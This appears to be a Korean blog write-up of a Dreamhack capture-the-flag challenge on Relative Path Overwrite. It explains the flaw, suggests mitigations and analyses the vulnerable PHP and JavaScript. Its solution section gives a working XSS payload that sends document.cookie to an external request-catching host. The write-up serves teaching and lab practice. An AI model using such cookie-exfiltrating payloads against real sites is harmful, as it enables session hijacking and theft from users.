Relative Path Overwrite (RPO): 서버와 브라우저가 상대 경로를 해석하는 과정에서 발생하는 차이점을 이용한 공격
Relative Path Overwrite를 실습하기 위한 문제이다.
• 취약점 설명
Relative Path Overwrite(RPO)는 상대 경로 기반의 URL을 덮어써서 의도하지 않은 동작을 수행하는 공격 방법이다.
script, link등 resource를 읽어오는 과정에서 Host가 포함되지 않은 URL을 의미하며, 이를 overwrite할 수 있는 경우에 resource의 주소 등을 조작하여 공격자가 원하는 동작으로 유도할 수 있다. ex) XSS...
• 조건
스크립트명 이하의 경로를 별도로 지정해도 같은 페이지가 조회되는 경우
서버는 하위 요소를 경로가 아닌 파라미터로 인식하고 브라우저는 URL 경로 중 어디부터가 파라미터인지 구분을 못해 전체를 경로로 인식한다.
• 대응 방안
resource는 페이지의 동작과 디자인을 정의할 수 있기 때문에 사용자에게 통제권을 주지 않는 것이 가장 좋다. 만약에 주어야한다면 path에 대한 통제와 사용자 입력에 대한 검증 과정이 필요하다.
• 코드 분석
- index.php
<?php
$page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
include $page;
?>
., :, / 를 필터링 하고 있어 page를 통해서 path traversal 취약점을 이용한 공격이 불가능하다.
- vuln.php
<script src="filter.js"></script>
<pre id=param></pre>
<script>
var param_elem = document.getElementById("param");
var url = new URL(window.location.href);
var param = url.searchParams.get("param");
if (typeof filter !== 'undefined') {
for (var i = 0; i < filter.length; i++) {
if (param.toLowerCase().includes(filter[i])) {
param = "nope !!";
break;
}
}
}
param_elem.innerHTML = param;
</script>
filter.js 를 상대경로로 불러오고 filter 변수가 undefined이면 필터링을 안해 param_elem.innerHTML에 HTMl 요소가 삽입이 가능하다. 즉, 이벤트 핸들러를 통한 XSS 가 가능하다.
• 문제 풀이
현재 경로가 / 이므로 filter.js 파일이 정상적으로 로드 된다.!
/index.php/ 을 넣어 같이 요청을 하면 현재 디렉토리를 /index.php/ 로 인식하여 /index.php/filter.js 가 로드가 된다.
/index.php/?page=vuln¶m=<img src=x onerror="location.href='https://bsgtnos.request.dreamhack.games?'%2bdocument.cookie "> |
해당 페이로드를 보내며 flag 값을 얻을 수 있다..!
'모의해킹 > Dreamhack' 카테고리의 다른 글
Dream Gallery (0) | 2023.12.16 |
---|---|
Relative Path Overwrite Advanced (0) | 2023.12.06 |
phpMyRedis (0) | 2023.12.01 |
Client Side Template Injection (0) | 2023.11.25 |
CSP Bypass (0) | 2023.11.23 |